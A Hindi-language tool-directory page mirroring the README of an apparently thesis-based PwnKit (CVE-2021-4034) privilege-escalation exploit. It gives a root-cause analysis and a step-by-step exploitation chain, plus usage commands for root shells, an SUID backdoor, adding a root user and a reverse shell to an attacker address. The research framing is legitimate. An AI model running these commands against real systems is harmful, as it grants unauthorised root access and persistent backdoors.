Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-4034 — मास्टर की थीसिस शोध CVE-2021-4034 (PwnKit) स्थानीय विशेषाधिकार वृद्धि पर। 7 मोड वाला मल्टी-पेलोड Python एक्सप्लॉइट जिसमें इंटरैक्टिव शेल, SUID बैकडोर, रिवर्स शेल, और रूट यूज़र निर्माण शामिल हैं। रूट कॉज़ विश्लेषण और एक्सप्लॉइटेशन चेन दस्तावेज़ीकरण भी शामिल है। | Kitploit
उपकरण/GitHubGitHub/devianntsec/cve-2021-4034
विशेषाधिकार वृद्धिमेमोरी फोरेंसिकभेद्यता विश्लेषणशोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारेड टीमिंगपेलोड डेवलपमेंटबाइनरी शोषण
GitHubdevianntsec/cve-2021-4034
1536 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-4034

मास्टर की थीसिस शोध CVE-2021-4034 (PwnKit) स्थानीय विशेषाधिकार वृद्धि पर। 7 मोड वाला मल्टी-पेलोड Python एक्सप्लॉइट जिसमें इंटरैक्टिव शेल, SUID बैकडोर, रिवर्स शेल, और रूट यूज़र निर्माण शामिल हैं। रूट कॉज़ विश्लेषण और एक्सप्लॉइटेशन चेन दस्तावेज़ीकरण भी शामिल है।

रिपॉजिटरी देखें

CVE-2021-4034 — PwnKit स्थानीय विशेषाधिकार वृद्धि · मास्टर थीसिस अनुसंधान

Platform Language License: MIT Research CVSS

polkit की pkexec उपयोगिता में मेमोरी भ्रष्टाचार भेद्यता
सीमा से बाहर लेखन के माध्यम से स्थानीय विशेषाधिकार वृद्धि → रूट
प्रभावित: polkit 0.105-31 और पुराने · पैच: polkit 0.105-33 (जनवरी 2022)


CVE-2021-4034 - PwnKit के माध्यम से प्राप्त इंटरैक्टिव रूट शेल

विवरण

इस रिपॉजिटरी में CVE-2021-4034 पर मेरा मास्टर थीसिस अनुसंधान शामिल है, जो polkit की pkexec उपयोगिता में एक उच्च-गंभीरता (CVSS 7.8) स्थानीय विशेषाधिकार वृद्धि भेद्यता है, जिसे आमतौर पर PwnKit के नाम से जाना जाता है।

यह भेद्यता pkexec के आर्गुमेंट प्रोसेसिंग लॉजिक में सीमा से बाहर लेखन (out-of-bounds write) से उत्पन्न होती है। जब pkexec को खाली या क्राफ्टेड argv के साथ निष्पादित किया जाता है, तो यह argv ऐरे की सीमा से बाहर पढ़ता और लिखता है, envp ऐरे में प्रवेश करता है, जिससे एक असाधारित स्थानीय उपयोगकर्ता दुर्भावनापूर्ण पर्यावरण चर इंजेक्ट कर सकता है जो बाद में एक साझा लाइब्रेरी के रूप में लोड होते हैं, रूट विशेषाधिकारों के साथ मनमाना कोड निष्पादित करते हैं।

मेरा योगदान

पहलूविवरण
बहु-पेलोड एक्सप्लॉइट6 पेलोड मोड वाला Python रैपर जिसमें शेल, id, बैकडोर और रिवर्स शेल शामिल हैं
स्वचालित पर्यावरण सेटअपस्वचालित GCONV_PATH निर्माण और gconv-modules कॉन्फ़िगरेशन
पोस्ट-एक्सप्लॉइटेशन मॉड्यूलSUID बैकडोर, रूट उपयोगकर्ता निर्माण और कस्टम कमांड निष्पादन
शैक्षणिक दस्तावेज़ीकरणमूल कारण विश्लेषण, शोषण श्रृंखला और भेद्यता समयरेखा

रिपॉजिटरी संरचना

CVE-2021-4034/
├── README.md                        # यह फ़ाइल
├── LICENSE                          # MIT लाइसेंस
│
├── exploit/
│   └── pwnkit.py                    # एकाधिक पेलोड वाला उन्नत एक्सप्लॉइट
│
└── docs/
    ├── screenshots/                 # शोषण प्रदर्शन
    │   ├── 01-pwnkit-shell.png
    │   ├── 02-pwnkit-id.png
    │   ├── 03-pwnkit-whoami.png
    │   ├── 04-pwnkit-backdoor.png
    │   ├── 05-pwnkit-add-user.png
    │   ├── 06-pwnkit-reverse.png
    │   └── 07-pwnkit-custom.png
    │
    └── analysis/
        ├── 01-root-cause.md         # भेद्यता मूल कारण विश्लेषण
        ├── 02-exploitation-chain.md # शोषण श्रृंखला विवरण
        └── 03-timeline.md           # CVE समयरेखा

त्वरित आरंभ

पूर्वापेक्षाएँ

  • भेद्य polkit वाला Linux सिस्टम (pkexec --version 0.105 या पुराना दिखाता है)
  • GCC कंपाइलर (apt install gcc)
  • Python 3.6+
  • मानक उपयोगकर्ता खाता (रूट की आवश्यकता नहीं)
  • परीक्षण के लिए पृथक VM अनुशंसित

उपयोग

# इंटरैक्टिव रूट शेल (डिफ़ॉल्ट)
python3 exploit/pwnkit.py -p shell

# निष्पादन संदर्भ सत्यापित करें
python3 exploit/pwnkit.py -p whoami

# रूट के रूप में कस्टम कमांड निष्पादित करें
python3 exploit/pwnkit.py -p custom -c "id"

# /tmp/.sh पर SUID बैकडोर बनाएं
python3 exploit/pwnkit.py -p backdoor_suid

# स्थायी रूट उपयोगकर्ता जोड़ें
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword

# रिवर्स शेल
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444

पेलोड संदर्भ

पेलोडविवरणआउटपुट
shellरूट के रूप में इंटरैक्टिव /bin/sh स्पॉन करता हैइंटरैक्टिव शेल
idid और whoami आउटपुट /tmp/pwnkit_id.txt में लिखता हैफ़ाइल
whoamiUID/eUID सत्यापन /tmp/pwnkit_root_test में लिखता हैफ़ाइल
backdoor_suid/tmp/.sh पर SUID रूट bash कॉपी बनाता हैस्थायी बैकडोर
add_root_user/etc/passwd में कस्टम उपयोगकर्ता जोड़ता हैस्थायी पहुँच
reverse_shellPython के माध्यम से हमलावर से वापस जुड़ता हैरिमोट शेल
customरूट के रूप में कोई भी कमांड निष्पादित करता हैStdout / फ़ाइल

तकनीकी अवलोकन

भेद्यता मूल कारण

pkexec चलाए जा रहे प्रोग्राम का पता लगाने के लिए अपने स्वयं के argv को संसाधित करता है। जब argc == 0 (खाली आर्गुमेंट वेक्टर) के साथ कॉल किया जाता है, तो argv पर सीमा जाँच चुपचाप विफल हो जाती है। परिणामी सीमा से बाहर पढ़ना envp[0] को argv[1] मानता है, और envp में वापस सीमा से बाहर लेखन एक हमलावर को एक पर्यावरण चर को क्राफ्टेड पथ से बदलने की अनुमति देता है। जब pkexec बाद में g_printerr() कॉल करता है, तो यह अब हमलावर-नियंत्रित पर्यावरण से GCONV_PATH लोड करता है, रूट विशेषाधिकारों के साथ हमलावर-आपूर्ति की गई साझा लाइब्रेरी लोड करता है।

argc == 0  →  argv[1] envp[0] पढ़ता है
             argv[1] = "GCONV_PATH=."  (envp में वापस लिखता है)
             pkexec ./pwnkit.so लोड करता है (हमलावर-नियंत्रित साझा लाइब्रेरी)
             gconv_init() रूट के रूप में निष्पादित होता है

शोषण श्रृंखला

1. argv = { NULL } क्राफ्ट करें  →  argc = 0, OOB एक्सेस ट्रिगर करता है
2. envp[0] = "pwnkit.so:." सेट करें
3. envp[1] = "PATH=GCONV_PATH=." सेट करें
4. pkexec OOB-लिखता है "pwnkit.so:." को envp[0] में जैसे कि यह argv[1] हो
5. pkexec GCONV_PATH=. को हल करता है और gconv-modules लोड करता है
6. gconv-modules "PWNKIT" कैरेक्टर सेट को pwnkit.so से मैप करता है
7. pwnkit.so:gconv_init() रूट विशेषाधिकारों के साथ कॉल किया जाता है
8. पेलोड निष्पादित होता है (शेल / बैकडोर / रिवर्स शेल / आदि)

मुख्य तकनीकी विवरण

घटकमाननोट्स
भेद्य बाइनरी/usr/bin/pkexecSUID रूट
ट्रिगर शर्तargc == 0खाली argv
लेखन प्रिमिटिवenvp में OOB लेखनargv[argc-1] के माध्यम से
लोड तंत्रGCONV_PATH + gconv-modulesमानक glibc iconv
निष्पादन संदर्भसाझा लाइब्रेरी में gconv_init()EUID 0 के रूप में चलता है
प्रभावित संस्करणpolkit ≤ 0.105-31सभी प्रमुख Linux वितरण

प्रदर्शन

इंटरैक्टिव रूट शेल

इंटरैक्टिव शेल

ID सत्यापन

ID पेलोड

Whoami सत्यापन

Whoami पेलोड

SUID बैकडोर

बैकडोर पेलोड

रूट उपयोगकर्ता जोड़ें

रूट उपयोगकर्ता जोड़ें

रिवर्स शेल

रिवर्स शेल

कस्टम कमांड

कस्टम पेलोड


अनुभवजन्य परीक्षण

सभी परीक्षण Ubuntu 20.04 LTS चलाने वाले एक पृथक VirtualBox VM पर polkit 0.105-26 (भेद्य) के साथ किए गए, जिसमें कोई नेटवर्क एक्सपोज़र नहीं था।

टूल डाउनलोड करें